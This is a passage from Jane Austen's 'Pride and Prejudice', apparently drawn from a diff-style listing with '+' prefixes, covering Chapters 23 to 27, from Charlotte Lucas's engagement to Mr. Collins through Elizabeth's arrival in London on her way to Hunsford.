+ +Elizabeth, feeling it incumbent on her to relieve him from so unpleasant +a situation, now put herself forward to confirm his account, by +mentioning her prior knowledge of it from Charlotte herself; and +endeavoured to put a stop to the exclamations of her mother and sisters +by the earnestness of her congratulations to Sir William, in which she +was readily joined by Jane, and by making a variety of remarks on the +happiness that might be expected from the match, the excellent character +of Mr. Collins, and the convenient distance of Hunsford from London. + +Mrs. Bennet was in fact too much overpowered to say a great deal while +Sir William remained; but no sooner had he left them than her feelings +found a rapid vent. In the first place, she persisted in disbelieving +the whole of the matter; secondly, she was very sure that Mr. Collins +had been taken in; thirdly, she trusted that they would never be +happy together; and fourthly, that the match might be broken off. Two +inferences, however, were plainly deduced from the whole: one, that +Elizabeth was the real cause of the mischief; and the other that she +herself had been barbarously misused by them all; and on these two +points she principally dwelt during the rest of the day. Nothing could +console and nothing could appease her. Nor did that day wear out her +resentment. A week elapsed before she could see Elizabeth without +scolding her, a month passed away before she could speak to Sir William +or Lady Lucas without being rude, and many months were gone before she +could at all forgive their daughter. + +Mr. Bennet's emotions were much more tranquil on the occasion, and such +as he did experience he pronounced to be of a most agreeable sort; for +it gratified him, he said, to discover that Charlotte Lucas, whom he had +been used to think tolerably sensible, was as foolish as his wife, and +more foolish than his daughter! + +Jane confessed herself a little surprised at the match; but she said +less of her astonishment than of her earnest desire for their happiness; +nor could Elizabeth persuade her to consider it as improbable. Kitty +and Lydia were far from envying Miss Lucas, for Mr. Collins was only a +clergyman; and it affected them in no other way than as a piece of news +to spread at Meryton. + +Lady Lucas could not be insensible of triumph on being able to retort +on Mrs. Bennet the comfort of having a daughter well married; and she +called at Longbourn rather oftener than usual to say how happy she was, +though Mrs. Bennet's sour looks and ill-natured remarks might have been +enough to drive happiness away. + +Between Elizabeth and Charlotte there was a restraint which kept them +mutually silent on the subject; and Elizabeth felt persuaded that +no real confidence could ever subsist between them again. Her +disappointment in Charlotte made her turn with fonder regard to her +sister, of whose rectitude and delicacy she was sure her opinion could +never be shaken, and for whose happiness she grew daily more anxious, +as Bingley had now been gone a week and nothing more was heard of his +return. + +Jane had sent Caroline an early answer to her letter, and was counting +the days till she might reasonably hope to hear again. The promised +letter of thanks from Mr. Collins arrived on Tuesday, addressed to +their father, and written with all the solemnity of gratitude which a +twelvemonth's abode in the family might have prompted. After discharging +his conscience on that head, he proceeded to inform them, with many +rapturous expressions, of his happiness in having obtained the affection +of their amiable neighbour, Miss Lucas, and then explained that it was +merely with the view of enjoying her society that he had been so ready +to close with their kind wish of seeing him again at Longbourn, whither +he hoped to be able to return on Monday fortnight; for Lady Catherine, +he added, so heartily approved his marriage, that she wished it to take +place as soon as possible, which he trusted would be an unanswerable +argument with his amiable Charlotte to name an early day for making him +the happiest of men. + +Mr. Collins's return into Hertfordshire was no longer a matter of +pleasure to Mrs. Bennet. On the contrary, she was as much disposed to +complain of it as her husband. It was very strange that he should come +to Longbourn instead of to Lucas Lodge; it was also very inconvenient +and exceedingly troublesome. She hated having visitors in the house +while her health was so indifferent, and lovers were of all people the +most disagreeable. Such were the gentle murmurs of Mrs. Bennet, and +they gave way only to the greater distress of Mr. Bingley's continued +absence. + +Neither Jane nor Elizabeth were comfortable on this subject. Day after +day passed away without bringing any other tidings of him than the +report which shortly prevailed in Meryton of his coming no more to +Netherfield the whole winter; a report which highly incensed Mrs. +Bennet, and which she never failed to contradict as a most scandalous +falsehood. + +Even Elizabeth began to fear--not that Bingley was indifferent--but that +his sisters would be successful in keeping him away. Unwilling as +she was to admit an idea so destructive of Jane's happiness, and so +dishonorable to the stability of her lover, she could not prevent its +frequently occurring. The united efforts of his two unfeeling sisters +and of his overpowering friend, assisted by the attractions of Miss +Darcy and the amusements of London might be too much, she feared, for +the strength of his attachment. + +As for Jane, _her_ anxiety under this suspense was, of course, more +painful than Elizabeth's, but whatever she felt she was desirous of +concealing, and between herself and Elizabeth, therefore, the subject +was never alluded to. But as no such delicacy restrained her mother, +an hour seldom passed in which she did not talk of Bingley, express her +impatience for his arrival, or even require Jane to confess that if he +did not come back she would think herself very ill used. It needed +all Jane's steady mildness to bear these attacks with tolerable +tranquillity. + +Mr. Collins returned most punctually on Monday fortnight, but his +reception at Longbourn was not quite so gracious as it had been on his +first introduction. He was too happy, however, to need much attention; +and luckily for the others, the business of love-making relieved them +from a great deal of his company. The chief of every day was spent by +him at Lucas Lodge, and he sometimes returned to Longbourn only in time +to make an apology for his absence before the family went to bed. + +Mrs. Bennet was really in a most pitiable state. The very mention of +anything concerning the match threw her into an agony of ill-humour, +and wherever she went she was sure of hearing it talked of. The sight +of Miss Lucas was odious to her. As her successor in that house, she +regarded her with jealous abhorrence. Whenever Charlotte came to see +them, she concluded her to be anticipating the hour of possession; and +whenever she spoke in a low voice to Mr. Collins, was convinced that +they were talking of the Longbourn estate, and resolving to turn herself +and her daughters out of the house, as soon as Mr. Bennet were dead. She +complained bitterly of all this to her husband. + +"Indeed, Mr. Bennet," said she, "it is very hard to think that Charlotte +Lucas should ever be mistress of this house, that I should be forced to +make way for _her_, and live to see her take her place in it!" + +"My dear, do not give way to such gloomy thoughts. Let us hope for +better things. Let us flatter ourselves that I may be the survivor." + +This was not very consoling to Mrs. Bennet, and therefore, instead of +making any answer, she went on as before. + +"I cannot bear to think that they should have all this estate. If it was +not for the entail, I should not mind it." + +"What should not you mind?" + +"I should not mind anything at all." + +"Let us be thankful that you are preserved from a state of such +insensibility." + +"I never can be thankful, Mr. Bennet, for anything about the entail. How +anyone could have the conscience to entail away an estate from one's own +daughters, I cannot understand; and all for the sake of Mr. Collins too! +Why should _he_ have it more than anybody else?" + +"I leave it to yourself to determine," said Mr. Bennet. + + + +Chapter 24 + + +Miss Bingley's letter arrived, and put an end to doubt. The very first +sentence conveyed the assurance of their being all settled in London for +the winter, and concluded with her brother's regret at not having had +time to pay his respects to his friends in Hertfordshire before he left +the country. + +Hope was over, entirely over; and when Jane could attend to the rest +of the letter, she found little, except the professed affection of the +writer, that could give her any comfort. Miss Darcy's praise occupied +the chief of it. Her many attractions were again dwelt on, and Caroline +boasted joyfully of their increasing intimacy, and ventured to predict +the accomplishment of the wishes which had been unfolded in her former +letter. She wrote also with great pleasure of her brother's being an +inmate of Mr. Darcy's house, and mentioned with raptures some plans of +the latter with regard to new furniture. + +Elizabeth, to whom Jane very soon communicated the chief of all this, +heard it in silent indignation. Her heart was divided between concern +for her sister, and resentment against all others. To Caroline's +assertion of her brother's being partial to Miss Darcy she paid no +credit. That he was really fond of Jane, she doubted no more than she +had ever done; and much as she had always been disposed to like him, she +could not think without anger, hardly without contempt, on that easiness +of temper, that want of proper resolution, which now made him the slave +of his designing friends, and led him to sacrifice of his own happiness +to the caprice of their inclination. Had his own happiness, however, +been the only sacrifice, he might have been allowed to sport with it in +whatever manner he thought best, but her sister's was involved in it, as +she thought he must be sensible himself. It was a subject, in short, +on which reflection would be long indulged, and must be unavailing. She +could think of nothing else; and yet whether Bingley's regard had really +died away, or were suppressed by his friends' interference; whether +he had been aware of Jane's attachment, or whether it had escaped his +observation; whatever were the case, though her opinion of him must be +materially affected by the difference, her sister's situation remained +the same, her peace equally wounded. + +A day or two passed before Jane had courage to speak of her feelings to +Elizabeth; but at last, on Mrs. Bennet's leaving them together, after a +longer irritation than usual about Netherfield and its master, she could +not help saying: + +"Oh, that my dear mother had more command over herself! She can have no +idea of the pain she gives me by her continual reflections on him. But +I will not repine. It cannot last long. He will be forgot, and we shall +all be as we were before." + +Elizabeth looked at her sister with incredulous solicitude, but said +nothing. + +"You doubt me," cried Jane, slightly colouring; "indeed, you have +no reason. He may live in my memory as the most amiable man of my +acquaintance, but that is all. I have nothing either to hope or fear, +and nothing to reproach him with. Thank God! I have not _that_ pain. A +little time, therefore--I shall certainly try to get the better." + +With a stronger voice she soon added, "I have this comfort immediately, +that it has not been more than an error of fancy on my side, and that it +has done no harm to anyone but myself." + +"My dear Jane!" exclaimed Elizabeth, "you are too good. Your sweetness +and disinterestedness are really angelic; I do not know what to say +to you. I feel as if I had never done you justice, or loved you as you +deserve." + +Miss Bennet eagerly disclaimed all extraordinary merit, and threw back +the praise on her sister's warm affection. + +"Nay," said Elizabeth, "this is not fair. _You_ wish to think all the +world respectable, and are hurt if I speak ill of anybody. I only want +to think _you_ perfect, and you set yourself against it. Do not +be afraid of my running into any excess, of my encroaching on your +privilege of universal good-will. You need not. There are few people +whom I really love, and still fewer of whom I think well. The more I see +of the world, the more am I dissatisfied with it; and every day confirms +my belief of the inconsistency of all human characters, and of the +little dependence that can be placed on the appearance of merit or +sense. I have met with two instances lately, one I will not mention; the +other is Charlotte's marriage. It is unaccountable! In every view it is +unaccountable!" + +"My dear Lizzy, do not give way to such feelings as these. They will +ruin your happiness. You do not make allowance enough for difference +of situation and temper. Consider Mr. Collins's respectability, and +Charlotte's steady, prudent character. Remember that she is one of a +large family; that as to fortune, it is a most eligible match; and be +ready to believe, for everybody's sake, that she may feel something like +regard and esteem for our cousin." + +"To oblige you, I would try to believe almost anything, but no one else +could be benefited by such a belief as this; for were I persuaded that +Charlotte had any regard for him, I should only think worse of her +understanding than I now do of her heart. My dear Jane, Mr. Collins is a +conceited, pompous, narrow-minded, silly man; you know he is, as well as +I do; and you must feel, as well as I do, that the woman who married him +cannot have a proper way of thinking. You shall not defend her, though +it is Charlotte Lucas. You shall not, for the sake of one individual, +change the meaning of principle and integrity, nor endeavour to persuade +yourself or me, that selfishness is prudence, and insensibility of +danger security for happiness." + +"I must think your language too strong in speaking of both," replied +Jane; "and I hope you will be convinced of it by seeing them happy +together. But enough of this. You alluded to something else. You +mentioned _two_ instances. I cannot misunderstand you, but I entreat +you, dear Lizzy, not to pain me by thinking _that person_ to blame, and +saying your opinion of him is sunk. We must not be so ready to fancy +ourselves intentionally injured. We must not expect a lively young man +to be always so guarded and circumspect. It is very often nothing but +our own vanity that deceives us. Women fancy admiration means more than +it does." + +"And men take care that they should." + +"If it is designedly done, they cannot be justified; but I have no idea +of there being so much design in the world as some persons imagine." + +"I am far from attributing any part of Mr. Bingley's conduct to design," +said Elizabeth; "but without scheming to do wrong, or to make others +unhappy, there may be error, and there may be misery. Thoughtlessness, +want of attention to other people's feelings, and want of resolution, +will do the business." + +"And do you impute it to either of those?" + +"Yes; to the last. But if I go on, I shall displease you by saying what +I think of persons you esteem. Stop me whilst you can." + +"You persist, then, in supposing his sisters influence him?" + +"Yes, in conjunction with his friend." + +"I cannot believe it. Why should they try to influence him? They can +only wish his happiness; and if he is attached to me, no other woman can +secure it." + +"Your first position is false. They may wish many things besides his +happiness; they may wish his increase of wealth and consequence; they +may wish him to marry a girl who has all the importance of money, great +connections, and pride." + +"Beyond a doubt, they _do_ wish him to choose Miss Darcy," replied Jane; +"but this may be from better feelings than you are supposing. They have +known her much longer than they have known me; no wonder if they love +her better. But, whatever may be their own wishes, it is very unlikely +they should have opposed their brother's. What sister would think +herself at liberty to do it, unless there were something very +objectionable? If they believed him attached to me, they would not try +to part us; if he were so, they could not succeed. By supposing such an +affection, you make everybody acting unnaturally and wrong, and me most +unhappy. Do not distress me by the idea. I am not ashamed of having been +mistaken--or, at least, it is light, it is nothing in comparison of what +I should feel in thinking ill of him or his sisters. Let me take it in +the best light, in the light in which it may be understood." + +Elizabeth could not oppose such a wish; and from this time Mr. Bingley's +name was scarcely ever mentioned between them. + +Mrs. Bennet still continued to wonder and repine at his returning no +more, and though a day seldom passed in which Elizabeth did not account +for it clearly, there was little chance of her ever considering it with +less perplexity. Her daughter endeavoured to convince her of what she +did not believe herself, that his attentions to Jane had been merely the +effect of a common and transient liking, which ceased when he saw her +no more; but though the probability of the statement was admitted at +the time, she had the same story to repeat every day. Mrs. Bennet's best +comfort was that Mr. Bingley must be down again in the summer. + +Mr. Bennet treated the matter differently. "So, Lizzy," said he one day, +"your sister is crossed in love, I find. I congratulate her. Next to +being married, a girl likes to be crossed a little in love now and then. +It is something to think of, and it gives her a sort of distinction +among her companions. When is your turn to come? You will hardly bear to +be long outdone by Jane. Now is your time. Here are officers enough in +Meryton to disappoint all the young ladies in the country. Let Wickham +be _your_ man. He is a pleasant fellow, and would jilt you creditably." + +"Thank you, sir, but a less agreeable man would satisfy me. We must not +all expect Jane's good fortune." + +"True," said Mr. Bennet, "but it is a comfort to think that whatever of +that kind may befall you, you have an affectionate mother who will make +the most of it." + +Mr. Wickham's society was of material service in dispelling the gloom +which the late perverse occurrences had thrown on many of the Longbourn +family. They saw him often, and to his other recommendations was now +added that of general unreserve. The whole of what Elizabeth had already +heard, his claims on Mr. Darcy, and all that he had suffered from him, +was now openly acknowledged and publicly canvassed; and everybody was +pleased to know how much they had always disliked Mr. Darcy before they +had known anything of the matter. + +Miss Bennet was the only creature who could suppose there might be +any extenuating circumstances in the case, unknown to the society +of Hertfordshire; her mild and steady candour always pleaded for +allowances, and urged the possibility of mistakes--but by everybody else +Mr. Darcy was condemned as the worst of men. + + + +Chapter 25 + + +After a week spent in professions of love and schemes of felicity, +Mr. Collins was called from his amiable Charlotte by the arrival of +Saturday. The pain of separation, however, might be alleviated on his +side, by preparations for the reception of his bride; as he had reason +to hope, that shortly after his return into Hertfordshire, the day would +be fixed that was to make him the happiest of men. He took leave of his +relations at Longbourn with as much solemnity as before; wished his fair +cousins health and happiness again, and promised their father another +letter of thanks. + +On the following Monday, Mrs. Bennet had the pleasure of receiving +her brother and his wife, who came as usual to spend the Christmas +at Longbourn. Mr. Gardiner was a sensible, gentlemanlike man, greatly +superior to his sister, as well by nature as education. The Netherfield +ladies would have had difficulty in believing that a man who lived +by trade, and within view of his own warehouses, could have been so +well-bred and agreeable. Mrs. Gardiner, who was several years younger +than Mrs. Bennet and Mrs. Phillips, was an amiable, intelligent, elegant +woman, and a great favourite with all her Longbourn nieces. Between the +two eldest and herself especially, there subsisted a particular regard. +They had frequently been staying with her in town. + +The first part of Mrs. Gardiner's business on her arrival was to +distribute her presents and describe the newest fashions. When this was +done she had a less active part to play. It became her turn to listen. +Mrs. Bennet had many grievances to relate, and much to complain of. They +had all been very ill-used since she last saw her sister. Two of her +girls had been upon the point of marriage, and after all there was +nothing in it. + +"I do not blame Jane," she continued, "for Jane would have got Mr. +Bingley if she could. But Lizzy! Oh, sister! It is very hard to think +that she might have been Mr. Collins's wife by this time, had it not +been for her own perverseness. He made her an offer in this very room, +and she refused him. The consequence of it is, that Lady Lucas will have +a daughter married before I have, and that the Longbourn estate is just +as much entailed as ever. The Lucases are very artful people indeed, +sister. They are all for what they can get. I am sorry to say it of +them, but so it is. It makes me very nervous and poorly, to be thwarted +so in my own family, and to have neighbours who think of themselves +before anybody else. However, your coming just at this time is the +greatest of comforts, and I am very glad to hear what you tell us, of +long sleeves." + +Mrs. Gardiner, to whom the chief of this news had been given before, +in the course of Jane and Elizabeth's correspondence with her, made her +sister a slight answer, and, in compassion to her nieces, turned the +conversation. + +When alone with Elizabeth afterwards, she spoke more on the subject. "It +seems likely to have been a desirable match for Jane," said she. "I am +sorry it went off. But these things happen so often! A young man, such +as you describe Mr. Bingley, so easily falls in love with a pretty girl +for a few weeks, and when accident separates them, so easily forgets +her, that these sort of inconsistencies are very frequent." + +"An excellent consolation in its way," said Elizabeth, "but it will not +do for _us_. We do not suffer by _accident_. It does not often +happen that the interference of friends will persuade a young man of +independent fortune to think no more of a girl whom he was violently in +love with only a few days before." + +"But that expression of 'violently in love' is so hackneyed, so +doubtful, so indefinite, that it gives me very little idea. It is as +often applied to feelings which arise from a half-hour's acquaintance, +as to a real, strong attachment. Pray, how _violent was_ Mr. Bingley's +love?" + +"I never saw a more promising inclination; he was growing quite +inattentive to other people, and wholly engrossed by her. Every time +they met, it was more decided and remarkable. At his own ball he +offended two or three young ladies, by not asking them to dance; and I +spoke to him twice myself, without receiving an answer. Could there be +finer symptoms? Is not general incivility the very essence of love?" + +"Oh, yes!--of that kind of love which I suppose him to have felt. Poor +Jane! I am sorry for her, because, with her disposition, she may not get +over it immediately. It had better have happened to _you_, Lizzy; you +would have laughed yourself out of it sooner. But do you think she +would be prevailed upon to go back with us? Change of scene might be +of service--and perhaps a little relief from home may be as useful as +anything." + +Elizabeth was exceedingly pleased with this proposal, and felt persuaded +of her sister's ready acquiescence. + +"I hope," added Mrs. Gardiner, "that no consideration with regard to +this young man will influence her. We live in so different a part of +town, all our connections are so different, and, as you well know, we go +out so little, that it is very improbable that they should meet at all, +unless he really comes to see her." + +"And _that_ is quite impossible; for he is now in the custody of his +friend, and Mr. Darcy would no more suffer him to call on Jane in such +a part of London! My dear aunt, how could you think of it? Mr. Darcy may +perhaps have _heard_ of such a place as Gracechurch Street, but he +would hardly think a month's ablution enough to cleanse him from its +impurities, were he once to enter it; and depend upon it, Mr. Bingley +never stirs without him." + +"So much the better. I hope they will not meet at all. But does not Jane +correspond with his sister? _She_ will not be able to help calling." + +"She will drop the acquaintance entirely." + +But in spite of the certainty in which Elizabeth affected to place this +point, as well as the still more interesting one of Bingley's being +withheld from seeing Jane, she felt a solicitude on the subject which +convinced her, on examination, that she did not consider it entirely +hopeless. It was possible, and sometimes she thought it probable, that +his affection might be reanimated, and the influence of his friends +successfully combated by the more natural influence of Jane's +attractions. + +Miss Bennet accepted her aunt's invitation with pleasure; and the +Bingleys were no otherwise in her thoughts at the same time, than as she +hoped by Caroline's not living in the same house with her brother, +she might occasionally spend a morning with her, without any danger of +seeing him. + +The Gardiners stayed a week at Longbourn; and what with the Phillipses, +the Lucases, and the officers, there was not a day without its +engagement. Mrs. Bennet had so carefully provided for the entertainment +of her brother and sister, that they did not once sit down to a family +dinner. When the engagement was for home, some of the officers always +made part of it--of which officers Mr. Wickham was sure to be one; and +on these occasions, Mrs. Gardiner, rendered suspicious by Elizabeth's +warm commendation, narrowly observed them both. Without supposing them, +from what she saw, to be very seriously in love, their preference +of each other was plain enough to make her a little uneasy; and +she resolved to speak to Elizabeth on the subject before she left +Hertfordshire, and represent to her the imprudence of encouraging such +an attachment. + +To Mrs. Gardiner, Wickham had one means of affording pleasure, +unconnected with his general powers. About ten or a dozen years ago, +before her marriage, she had spent a considerable time in that very +part of Derbyshire to which he belonged. They had, therefore, many +acquaintances in common; and though Wickham had been little there since +the death of Darcy's father, it was yet in his power to give her fresher +intelligence of her former friends than she had been in the way of +procuring. + +Mrs. Gardiner had seen Pemberley, and known the late Mr. Darcy by +character perfectly well. Here consequently was an inexhaustible subject +of discourse. In comparing her recollection of Pemberley with the minute +description which Wickham could give, and in bestowing her tribute of +praise on the character of its late possessor, she was delighting both +him and herself. On being made acquainted with the present Mr. Darcy's +treatment of him, she tried to remember some of that gentleman's +reputed disposition when quite a lad which might agree with it, and +was confident at last that she recollected having heard Mr. Fitzwilliam +Darcy formerly spoken of as a very proud, ill-natured boy. + + + +Chapter 26 + + +Mrs. Gardiner's caution to Elizabeth was punctually and kindly given +on the first favourable opportunity of speaking to her alone; after +honestly telling her what she thought, she thus went on: + +"You are too sensible a girl, Lizzy, to fall in love merely because +you are warned against it; and, therefore, I am not afraid of speaking +openly. Seriously, I would have you be on your guard. Do not involve +yourself or endeavour to involve him in an affection which the want +of fortune would make so very imprudent. I have nothing to say against +_him_; he is a most interesting young man; and if he had the fortune he +ought to have, I should think you could not do better. But as it is, you +must not let your fancy run away with you. You have sense, and we all +expect you to use it. Your father would depend on _your_ resolution and +good conduct, I am sure. You must not disappoint your father." + +"My dear aunt, this is being serious indeed." + +"Yes, and I hope to engage you to be serious likewise." + +"Well, then, you need not be under any alarm. I will take care of +myself, and of Mr. Wickham too. He shall not be in love with me, if I +can prevent it." + +"Elizabeth, you are not serious now." + +"I beg your pardon, I will try again. At present I am not in love with +Mr. Wickham; no, I certainly am not. But he is, beyond all comparison, +the most agreeable man I ever saw--and if he becomes really attached to +me--I believe it will be better that he should not. I see the imprudence +of it. Oh! _that_ abominable Mr. Darcy! My father's opinion of me does +me the greatest honour, and I should be miserable to forfeit it. My +father, however, is partial to Mr. Wickham. In short, my dear aunt, I +should be very sorry to be the means of making any of you unhappy; but +since we see every day that where there is affection, young people +are seldom withheld by immediate want of fortune from entering into +engagements with each other, how can I promise to be wiser than so many +of my fellow-creatures if I am tempted, or how am I even to know that it +would be wisdom to resist? All that I can promise you, therefore, is not +to be in a hurry. I will not be in a hurry to believe myself his first +object. When I am in company with him, I will not be wishing. In short, +I will do my best." + +"Perhaps it will be as well if you discourage his coming here so very +often. At least, you should not _remind_ your mother of inviting him." + +"As I did the other day," said Elizabeth with a conscious smile: "very +true, it will be wise in me to refrain from _that_. But do not imagine +that he is always here so often. It is on your account that he has been +so frequently invited this week. You know my mother's ideas as to the +necessity of constant company for her friends. But really, and upon my +honour, I will try to do what I think to be the wisest; and now I hope +you are satisfied." + +Her aunt assured her that she was, and Elizabeth having thanked her for +the kindness of her hints, they parted; a wonderful instance of advice +being given on such a point, without being resented. + +Mr. Collins returned into Hertfordshire soon after it had been quitted +by the Gardiners and Jane; but as he took up his abode with the Lucases, +his arrival was no great inconvenience to Mrs. Bennet. His marriage was +now fast approaching, and she was at length so far resigned as to think +it inevitable, and even repeatedly to say, in an ill-natured tone, that +she "_wished_ they might be happy." Thursday was to be the wedding day, +and on Wednesday Miss Lucas paid her farewell visit; and when she +rose to take leave, Elizabeth, ashamed of her mother's ungracious and +reluctant good wishes, and sincerely affected herself, accompanied her +out of the room. As they went downstairs together, Charlotte said: + +"I shall depend on hearing from you very often, Eliza." + +"_That_ you certainly shall." + +"And I have another favour to ask you. Will you come and see me?" + +"We shall often meet, I hope, in Hertfordshire." + +"I am not likely to leave Kent for some time. Promise me, therefore, to +come to Hunsford." + +Elizabeth could not refuse, though she foresaw little pleasure in the +visit. + +"My father and Maria are coming to me in March," added Charlotte, "and I +hope you will consent to be of the party. Indeed, Eliza, you will be as +welcome as either of them." + +The wedding took place; the bride and bridegroom set off for Kent from +the church door, and everybody had as much to say, or to hear, on +the subject as usual. Elizabeth soon heard from her friend; and their +correspondence was as regular and frequent as it had ever been; that +it should be equally unreserved was impossible. Elizabeth could never +address her without feeling that all the comfort of intimacy was over, +and though determined not to slacken as a correspondent, it was for the +sake of what had been, rather than what was. Charlotte's first letters +were received with a good deal of eagerness; there could not but be +curiosity to know how she would speak of her new home, how she would +like Lady Catherine, and how happy she would dare pronounce herself to +be; though, when the letters were read, Elizabeth felt that Charlotte +expressed herself on every point exactly as she might have foreseen. She +wrote cheerfully, seemed surrounded with comforts, and mentioned nothing +which she could not praise. The house, furniture, neighbourhood, and +roads, were all to her taste, and Lady Catherine's behaviour was most +friendly and obliging. It was Mr. Collins's picture of Hunsford and +Rosings rationally softened; and Elizabeth perceived that she must wait +for her own visit there to know the rest. + +Jane had already written a few lines to her sister to announce their +safe arrival in London; and when she wrote again, Elizabeth hoped it +would be in her power to say something of the Bingleys. + +Her impatience for this second letter was as well rewarded as impatience +generally is. Jane had been a week in town without either seeing or +hearing from Caroline. She accounted for it, however, by supposing that +her last letter to her friend from Longbourn had by some accident been +lost. + +"My aunt," she continued, "is going to-morrow into that part of the +town, and I shall take the opportunity of calling in Grosvenor Street." + +She wrote again when the visit was paid, and she had seen Miss Bingley. +"I did not think Caroline in spirits," were her words, "but she was very +glad to see me, and reproached me for giving her no notice of my coming +to London. I was right, therefore, my last letter had never reached +her. I inquired after their brother, of course. He was well, but so much +engaged with Mr. Darcy that they scarcely ever saw him. I found that +Miss Darcy was expected to dinner. I wish I could see her. My visit was +not long, as Caroline and Mrs. Hurst were going out. I dare say I shall +see them soon here." + +Elizabeth shook her head over this letter. It convinced her that +accident only could discover to Mr. Bingley her sister's being in town. + +Four weeks passed away, and Jane saw nothing of him. She endeavoured to +persuade herself that she did not regret it; but she could no longer be +blind to Miss Bingley's inattention. After waiting at home every morning +for a fortnight, and inventing every evening a fresh excuse for her, the +visitor did at last appear; but the shortness of her stay, and yet more, +the alteration of her manner would allow Jane to deceive herself no +longer. The letter which she wrote on this occasion to her sister will +prove what she felt. + +"My dearest Lizzy will, I am sure, be incapable of triumphing in her +better judgement, at my expense, when I confess myself to have been +entirely deceived in Miss Bingley's regard for me. But, my dear sister, +though the event has proved you right, do not think me obstinate if I +still assert that, considering what her behaviour was, my confidence was +as natural as your suspicion. I do not at all comprehend her reason for +wishing to be intimate with me; but if the same circumstances were to +happen again, I am sure I should be deceived again. Caroline did not +return my visit till yesterday; and not a note, not a line, did I +receive in the meantime. When she did come, it was very evident that +she had no pleasure in it; she made a slight, formal apology, for not +calling before, said not a word of wishing to see me again, and was +in every respect so altered a creature, that when she went away I was +perfectly resolved to continue the acquaintance no longer. I pity, +though I cannot help blaming her. She was very wrong in singling me out +as she did; I can safely say that every advance to intimacy began on +her side. But I pity her, because she must feel that she has been acting +wrong, and because I am very sure that anxiety for her brother is the +cause of it. I need not explain myself farther; and though _we_ know +this anxiety to be quite needless, yet if she feels it, it will easily +account for her behaviour to me; and so deservedly dear as he is to +his sister, whatever anxiety she must feel on his behalf is natural and +amiable. I cannot but wonder, however, at her having any such fears now, +because, if he had at all cared about me, we must have met, long ago. +He knows of my being in town, I am certain, from something she said +herself; and yet it would seem, by her manner of talking, as if she +wanted to persuade herself that he is really partial to Miss Darcy. I +cannot understand it. If I were not afraid of judging harshly, I should +be almost tempted to say that there is a strong appearance of duplicity +in all this. But I will endeavour to banish every painful thought, +and think only of what will make me happy--your affection, and the +invariable kindness of my dear uncle and aunt. Let me hear from you very +soon. Miss Bingley said something of his never returning to Netherfield +again, of giving up the house, but not with any certainty. We had better +not mention it. I am extremely glad that you have such pleasant accounts +from our friends at Hunsford. Pray go to see them, with Sir William and +Maria. I am sure you will be very comfortable there.--Yours, etc." + +This letter gave Elizabeth some pain; but her spirits returned as she +considered that Jane would no longer be duped, by the sister at least. +All expectation from the brother was now absolutely over. She would not +even wish for a renewal of his attentions. His character sunk on +every review of it; and as a punishment for him, as well as a possible +advantage to Jane, she seriously hoped he might really soon marry Mr. +Darcy's sister, as by Wickham's account, she would make him abundantly +regret what he had thrown away. + +Mrs. Gardiner about this time reminded Elizabeth of her promise +concerning that gentleman, and required information; and Elizabeth +had such to send as might rather give contentment to her aunt than to +herself. His apparent partiality had subsided, his attentions were over, +he was the admirer of some one else. Elizabeth was watchful enough to +see it all, but she could see it and write of it without material pain. +Her heart had been but slightly touched, and her vanity was satisfied +with believing that _she_ would have been his only choice, had fortune +permitted it. The sudden acquisition of ten thousand pounds was the most +remarkable charm of the young lady to whom he was now rendering himself +agreeable; but Elizabeth, less clear-sighted perhaps in this case than +in Charlotte's, did not quarrel with him for his wish of independence. +Nothing, on the contrary, could be more natural; and while able to +suppose that it cost him a few struggles to relinquish her, she was +ready to allow it a wise and desirable measure for both, and could very +sincerely wish him happy. + +All this was acknowledged to Mrs. Gardiner; and after relating the +circumstances, she thus went on: "I am now convinced, my dear aunt, that +I have never been much in love; for had I really experienced that pure +and elevating passion, I should at present detest his very name, and +wish him all manner of evil. But my feelings are not only cordial +towards _him_; they are even impartial towards Miss King. I cannot find +out that I hate her at all, or that I am in the least unwilling to +think her a very good sort of girl. There can be no love in all this. My +watchfulness has been effectual; and though I certainly should be a more +interesting object to all my acquaintances were I distractedly in love +with him, I cannot say that I regret my comparative insignificance. +Importance may sometimes be purchased too dearly. Kitty and Lydia take +his defection much more to heart than I do. They are young in the +ways of the world, and not yet open to the mortifying conviction that +handsome young men must have something to live on as well as the plain." + + + +Chapter 27 + + +With no greater events than these in the Longbourn family, and otherwise +diversified by little beyond the walks to Meryton, sometimes dirty and +sometimes cold, did January and February pass away. March was to take +Elizabeth to Hunsford. She had not at first thought very seriously of +going thither; but Charlotte, she soon found, was depending on the plan +and she gradually learned to consider it herself with greater pleasure +as well as greater certainty. Absence had increased her desire of seeing +Charlotte again, and weakened her disgust of Mr. Collins. There +was novelty in the scheme, and as, with such a mother and such +uncompanionable sisters, home could not be faultless, a little change +was not unwelcome for its own sake. The journey would moreover give her +a peep at Jane; and, in short, as the time drew near, she would have +been very sorry for any delay. Everything, however, went on smoothly, +and was finally settled according to Charlotte's first sketch. She was +to accompany Sir William and his second daughter. The improvement +of spending a night in London was added in time, and the plan became +perfect as plan could be. + +The only pain was in leaving her father, who would certainly miss her, +and who, when it came to the point, so little liked her going, that he +told her to write to him, and almost promised to answer her letter. + +The farewell between herself and Mr. Wickham was perfectly friendly; on +his side even more. His present pursuit could not make him forget that +Elizabeth had been the first to excite and to deserve his attention, the +first to listen and to pity, the first to be admired; and in his manner +of bidding her adieu, wishing her every enjoyment, reminding her of +what she was to expect in Lady Catherine de Bourgh, and trusting their +opinion of her--their opinion of everybody--would always coincide, there +was a solicitude, an interest which she felt must ever attach her to +him with a most sincere regard; and she parted from him convinced that, +whether married or single, he must always be her model of the amiable +and pleasing. + +Her fellow-travellers the next day were not of a kind to make her +think him less agreeable. Sir William Lucas, and his daughter Maria, a +good-humoured girl, but as empty-headed as himself, had nothing to say +that could be worth hearing, and were listened to with about as much +delight as the rattle of the chaise. Elizabeth loved absurdities, but +she had known Sir William's too long. He could tell her nothing new of +the wonders of his presentation and knighthood; and his civilities were +worn out, like his information. + +It was a journey of only twenty-four miles, and they began it so early +as to be in Gracechurch Street by noon. As they drove to Mr. Gardiner's +door, Jane was at a drawing-room window watching their arrival; when +they entered the passage she was there to welcome them, and Elizabeth, +looking earnestly in her face, was pleased to see it healthful and +lovely as ever. On the stairs were a troop of little boys and girls, +whose eagerness for their cousin's appearance would not allow them to +wait in the drawing-room, and whose shyness, as they had not seen +her for a twelvemonth, prevented their coming lower. All was joy and +kindness. The day passed most pleasantly away; the morning in bustle and +shopping, and the evening at one of the theatres. + +Elizabeth then contrived to sit by her aunt. Their first object was her +sister; and she was more grieved than astonished to hear, in reply to +her minute inquiries, that though Jane always struggled to support her +spirits, there were periods of dejection. It was reasonable, however, +to hope that they would not continue long. 